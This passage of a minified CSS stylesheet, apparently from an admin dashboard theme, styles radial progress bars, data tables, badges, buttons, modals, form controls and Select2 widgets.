50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-70{background-image:linear-gradient(342deg, #e53935 50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-75{background-image:linear-gradient(360deg, #e53935 50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-80{background-image:linear-gradient(378deg, #e53935 50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-85{background-image:linear-gradient(396deg, #e53935 50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-90{background-image:linear-gradient(414deg, #e53935 50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-95{background-image:linear-gradient(432deg, #e53935 50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-100{background-image:linear-gradient(450deg, #e53935 50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-50{background-image:linear-gradient(270deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-55{background-image:linear-gradient(288deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-60{background-image:linear-gradient(306deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-65{background-image:linear-gradient(324deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-70{background-image:linear-gradient(342deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-75{background-image:linear-gradient(360deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-80{background-image:linear-gradient(378deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-85{background-image:linear-gradient(396deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-90{background-image:linear-gradient(414deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-95{background-image:linear-gradient(432deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-100{background-image:linear-gradient(450deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-50{background-image:linear-gradient(270deg, #fb6d9d 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-55{background-image:linear-gradient(288deg, #fb6d9d 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-60{background-image:linear-gradient(306deg, #fb6d9d 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-65{background-image:linear-gradient(324deg, #fb6d9d 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-70{background-image:linear-gradient(342deg, #fb6d9d 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-75{background-image:linear-gradient(360deg, #fb6d9d 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-80{background-image:linear-gradient(378deg, #fb6d9d 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-85{background-image:linear-gradient(396deg, #fb6d9d 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-90{background-image:linear-gradient(414deg, #fb6d9d 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-95{background-image:linear-gradient(432deg, #fb6d9d 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-100{background-image:linear-gradient(450deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-50{background-image:linear-gradient(270deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-55{background-image:linear-gradient(288deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-60{background-image:linear-gradient(306deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-65{background-image:linear-gradient(324deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-70{background-image:linear-gradient(342deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-75{background-image:linear-gradient(360deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-80{background-image:linear-gradient(378deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-85{background-image:linear-gradient(396deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-90{background-image:linear-gradient(414deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-95{background-image:linear-gradient(432deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-100{background-image:linear-gradient(450deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-50{background-image:linear-gradient(270deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-55{background-image:linear-gradient(288deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-60{background-image:linear-gradient(306deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-65{background-image:linear-gradient(324deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-70{background-image:linear-gradient(342deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-75{background-image:linear-gradient(360deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-80{background-image:linear-gradient(378deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-85{background-image:linear-gradient(396deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-90{background-image:linear-gradient(414deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-95{background-image:linear-gradient(432deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-100{background-image:linear-gradient(450deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-lg{width:100px;height:100px;font-size:20px}.radial-bar-lg:after,.radial-bar-lg>img{width:70px;height:70px;margin-left:15px;margin-top:15px;line-height:70px}.radial-bar-sm{width:50px;height:50px;font-size:12px}.radial-bar-sm:after,.radial-bar-sm>img{width:35px;height:35px;margin-left:7.5px;margin-top:7.5px;line-height:35px}.radial-bar-xs{width:30px;height:30px;font-size:8px}.radial-bar-xs:after,.radial-bar-xs>img{width:20px;height:20px;margin-left:5.5px;margin-top:4.5px;line-height:21px}.radial-bar{background-clip:content-box}.card .card-body .dataTables_wrapper .dataTables_scroll{margin-left:-20px;width:calc(100% + 40px)}.card .card-body .dataTables_wrapper .dataTables_scroll .dataTable{margin-left:0px;width:100%}.card .card-body .dataTables_wrapper .dataTable{margin-left:-20px;width:calc(100% + 40px)}.card .card-body .dataTables_wrapper .form-control{border:none;min-height:30px;background-color:#f4f4f4}.card .card-body .dataTables_wrapper select.form-control{height:30px !important}.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item .page-link{margin-left:5px;min-width:30px;height:30px;padding:0;text-align:center;line-height:30px;border:none;background-color:#f4f4f4;color:#212121;border-radius:30px;-webkit-border-radius:30px;-moz-border-radius:30px}.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.previous .page-link,.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.next .page-link,.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.first .page-link,.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.last .page-link{padding:0 15px}.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.disabled .page-link{color:#6c757d;background-color:#f4f4f4;cursor:not-allowed}.card .card-table .card-item{border-top:1px solid #ededed}.table thead{background-color:#f6f8fb}.table thead th{font-weight:600;color:#879099;font-size:14px}.table tbody td{vertical-align:middle}.table tbody td .table-user-thumb{width:30px;height:30px;border-radius:50%}.table tbody td .table-actions{text-align:right}.table tbody td .table-actions a{color:#bcc1c6;display:inline-block;margin-left:8px;font-size:16px}.badge{padding:6px 10px;font-size:12px;font-weight:600}.badge.badge-top-left{top:7px;right:10px}.badge.badge-top-left-2{top:40px;right:10px}.badge-primary,.badge-success,.badge-info,.badge-warning,.badge-danger,.badge-inverse,.badge-purple,.badge-pink,.badge-twitter,.badge-facebook,.badge-linkedin,.badge-google,.badge-dribbble,.badge-instagram{color:#fff}.badge-theme{background-color:#ef4153}.badge-aqua{background-color:#3ec5d6}.badge-blue{background-color:#19B5FE}.badge-light-blue{background-color:#89CFF0}.badge-teal{background-color:#008081}.badge-yellow{background-color:#F7CA18}.badge-orange{background-color:#FF8000}.badge-green{background-color:#26C281}.badge-lime{background-color:#cad900}.badge-red{background-color:#F22613}.badge-fuchsia{background-color:#df2de3}.badge-navy{background-color:navy}.badge-empty{background:transparent}.badge-primary{background-color:#007bff}.badge-success{background-color:#2dce89}.badge-info{background-color:#11cdef}.badge-warning{background-color:#fb6340}.badge-danger{background-color:#f5365c}.badge-muted{background-color:#6c757d}.badge-inverse{background-color:#4c5667}.badge-purple{background-color:#BF55EC}.badge-pink{background-color:#f76397}.badge-white{background-color:#fff}.btn .badge{padding:2px 6px}.pagination .page-item{padding:5px}.pagination .page-item .page-link{outline:initial !important;box-shadow:none !important;line-height:18px;min-width:30px;text-align:center;height:30px;padding:6px 0px;border:none;background-color:#eaeaea;color:#3e5569;border-radius:30px;-webkit-border-radius:30px;-moz-border-radius:30px}.pagination .page-item .page-link.first,.pagination .page-item .page-link.last{color:#fff;background-color:#3e5569}.pagination .page-item.active .page-link{background-color:#007bff;color:#fff}.btn{padding:6px 14px;height:30px;font-size:13px;font-weight:600;-moz-transition:0.3s ease-in-out;-o-transition:0.3s ease-in-out;-webkit-transition:0.3s ease-in-out;transition:0.3s ease-in-out}.btn i{margin-right:5px}.btn-icon{width:30px;height:30px;padding:0;text-align:center;line-height:32px;font-size:14px;display:inline-block;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-webkit-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out}.btn-icon i{margin-right:0 !important}.social-btn{width:30px;height:30px;padding:0;border-radius:50%;text-align:center;line-height:30px;color:#fff}.social-btn i{margin:0}.btn-primary,.btn-success,.btn-info,.btn-warning,.btn-danger,.btn-inverse,.btn-purple,.btn-pink,.btn-twitter,.btn-facebook,.btn-linkedin,.btn-google,.btn-dribbble,.btn-instagram{color:#fff}.btn-theme{background:linear-gradient(150deg, #f05138 15%, #ee3a5b 70%, #ed1375 94%);color:#fff}.btndefault{background-color:#dae6ec;border-color:#dae6ec}.btndefault:focus,.btndefault:hover,.btndefault:active,.btndefault.active{background-color:#dae6ec;border-color:#C2CED4;color:#fff !important}.btn-primary{background-color:#007bff;border:1px solid #007bff}.btn-primary:hover,.btn-primary:focus,.btn-primary.active{background-color:#006fe6;border:1px solid #006fe6;color:#fff !important}.btn-success{background-color:#2dce89;border:1px solid #2dce89}.btn-success:hover,.btn-success:focus,.btn-success.active{background-color:#28b97b;border:1px solid #28b97b;color:#fff !important}.btn-info{background-color:#11cdef;border:1px solid #11cdef}.btn-info:hover,.btn-info:focus,.btn-info.active{background-color:#0fb9d8;border:1px solid #0fb9d8;color:#fff !important}.btn-warning{background-color:#fb6340;border:1px solid #fb6340}.btn-warning:hover,.btn-warning:focus,.btn-warning.active{background-color:#fa4f27;border:1px solid #fa4f27;color:#fff !important}.btn-danger{background-color:#f5365c;border:1px solid #f5365c}.btn-danger:focus,.btn-danger:hover,.btn-danger.active{background-color:#f41e48;border:1px solid #f41e48;color:#fff !important}.btn-inverse{background-color:#4c5667;border:1px solid #4c5667}.btn-inverse:hover,.btn-inverse:focus,.btn-inverse.active{background-color:#414a58;border:1px solid #414a58;color:#fff !important}.btn-purple{background-color:#BF55EC;border:1px solid #BF55EC}.btn-purple:hover,.btn-purple:focus,.btn-purple.active{background-color:#b63ee9;border:1px solid #b63ee9;color:#fff !important}.btn-pink{background-color:#f76397;border:1px solid #f76397}.btn-pink:hover,.btn-pink:focus,.btn-pink.active{background-color:#f64b87;border:1px solid #f64b87;color:#fff !important}.btn-facebook{background:#3b579d}.btn-twitter{background:#1da1f2}.btn-dribbble{background:#ea4c89}.btn-linkedin{background:#0177b4}.btn-google{background:#dc4a38}.btn-instagram{background:#fb3958}.template-demo .btn{margin-right:10px;margin-bottom:10px}.btn-group .btn{margin:0}.full-window-modal .modal-dialog{position:fixed;width:100%;height:100%;margin:0;max-width:100%;left:0;top:0;bottom:0;display:block}.full-window-modal .modal-dialog .modal-content{height:100vh;border:none;border-radius:0;-webkit-border-radius:0;-moz-border-radius:0}.full-window-modal .modal-dialog .modal-content .modal-body{height:calc(100vh - 50px);overflow-x:auto}.full-window-modal .modal-dialog .modal-content .modal-footer{background-color:#393a3d;padding:15px 24px;padding-top:15px !important}.modal-open .apps-modal{overflow:hidden}.modal-open .apps-modal .close{position:absolute;top:20px;right:20px;text-shadow:none;z-index:9}.modal-open .apps-modal .modal-dialog{width:100%;max-width:100%;border-radius:0;margin:0}.modal-open .apps-modal .modal-dialog .modal-content{border:none;border-radius:0;min-height:100vh;background-color:#fff}.modal-open .apps-modal .modal-dialog .modal-content .quick-search{position:absolute;width:100%;top:17px;padding:0 50px;z-index:9}.modal-open .apps-modal .modal-dialog .modal-content .quick-search .input-wrap{position:relative}.modal-open .apps-modal .modal-dialog .modal-content .quick-search .input-wrap i{position:absolute;right:5px;top:0;width:30px;height:35px;border-radius:50%;line-height:35px;text-align:center}.modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap{display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-flex-flow:row wrap;-moz-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-justify-content:center;-moz-justify-content:center;-ms-justify-content:center;justify-content:center;-ms-flex-pack:center;width:100%}.modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item{width:130px;height:100px;margin:10px;color:#ccc;text-align:center;display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center;-webkit-justify-content:center;-moz-justify-content:center;-ms-justify-content:center;justify-content:center;-ms-flex-pack:center}.modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a{display:inline-block}.modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a i{font-size:40px;color:#3e5569;display:inline-block;margin-bottom:10px;-moz-transition:all 0.3s ease 0s;-o-transition:all 0.3s ease 0s;-webkit-transition:all 0.3s ease 0s;transition:all 0.3s ease 0s}.modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a span{display:block;font-size:14px;color:#3e5569}.modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item:hover i{color:#ef4153}.modal-open .apps-modal.fade .modal-dialog{overflow:hidden;-moz-transform:translate(0, 0) scale(1.2);-o-transform:translate(0, 0) scale(1.2);-ms-transform:translate(0, 0) scale(1.2);-webkit-transform:translate(0, 0) scale(1.2);transform:translate(0, 0) scale(1.2)}.modal-open .apps-modal.fade.show .modal-dialog{-moz-transform:translate(0, 0) scale(1);-o-transform:translate(0, 0) scale(1);-ms-transform:translate(0, 0) scale(1);-webkit-transform:translate(0, 0) scale(1);transform:translate(0, 0) scale(1)}.form-group{margin-bottom:1.25em}.form-group .form-control-lg{font-size:1.25em}.form-group .form-control-round{border-radius:50px}.form-group .form-control-static:focus{outline:none}.form-control{height:auto;min-height:35px;border:1px solid #eaeaea;padding:0 10px;background-color:#fff;font-size:13px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.form-control.placeholder{color:#999999}.form-control:-moz-placeholder{color:#999999}.form-control::-moz-placeholder{color:#999999}.form-control:-ms-input-placeholder{color:#999999}.form-control::-webkit-input-placeholder{color:#999999}.form-control:focus{border-color:#e2dfdf;-webkit-box-shadow:none;box-shadow:none}.form-control.form-control-normal{font-weight:400}.form-control.form-control-bold{font-weight:700}.form-control.form-control-capitalize{text-transform:capitalize}.form-control.form-control-uppercase{text-transform:uppercase}.form-control.form-control-lowercase{text-transform:lowercase}.form-control.form-control-variant{font-variant:small-caps}.form-control.form-control-left{text-align:left}.form-control.form-control-center{text-align:center}.form-control.form-control-right{text-align:right}.form-control.form-control-rtl{direction:rtl}.form-control:disabled{cursor:not-allowed;opacity:0.5}select.form-control{-webkit-appearance:none;-moz-appearance:none;appearance:none;padding-right:20px;background-image:url("../img/down-arrow.svg");background-position:center right 15px;background-repeat:no-repeat;-webkit-background-size:10px;background-size:10px;height:35px !important}textarea.form-control{padding:10px 15px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.custom-radio .custom-control-label{line-height:24px}.custom-checkbox .custom-control-label{line-height:24px}.custom-checkbox .custom-control-input:checked ~ .custom-control-label::after{background-image:none;content:"\e83f";line-height:16px;font-family:'iconkit';color:#fff}.custom-control-label{text-align:center}.input-group .input-group-prepend .input-group-text{border-top-left-radius:4px;border-bottom-left-radius:4px;background-color:#eaeaea;border-color:#eaeaea;padding-left:15px;height:35px;font-size:14px}.input-group .input-group-prepend .btn{height:35px;border-top-left-radius:4px;border-bottom-left-radius:4px}.input-group .input-group-append .input-group-text{border-top-right-radius:4px;border-bottom-right-radius:4px;background-color:#eaeaea;border-color:#eaeaea;padding-right:15px;height:35px;font-size:14px}.input-group .input-group-append .btn{height:35px;border-top-right-radius:4px;border-bottom-right-radius:4px}.form-group .file-upload-default{visibility:hidden;position:absolute}.form-group .file-upload-info{background:transparent}.select2.select2-container--default .select2-selection--single{border-color:#eaeaea;height:35px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.select2.select2-container--default .select2-selection--single .select2-selection__rendered{line-height:35px;padding-left:15px;padding-right:30px}.select2.select2-container--default .select2-selection--single .select2-selection__arrow{height:33px;right:8px}.select2.select2-container--default .select2-selection--multiple{border-color:#eaeaea}.select2.select2-container--default .select2-selection--multiple .select2-selection__rendered{margin-top:1px}.select2.select2-container--default .select2-selection--multiple .select2-selection__rendered .select2-selection__choice{border:none;padding:1px 5px}.select2.select2-container--default.select2-container--focus .select2-selection--multiple{border-color:#8e8e8e}.select2.select2-container--default.select2-container--open.select2-container--below 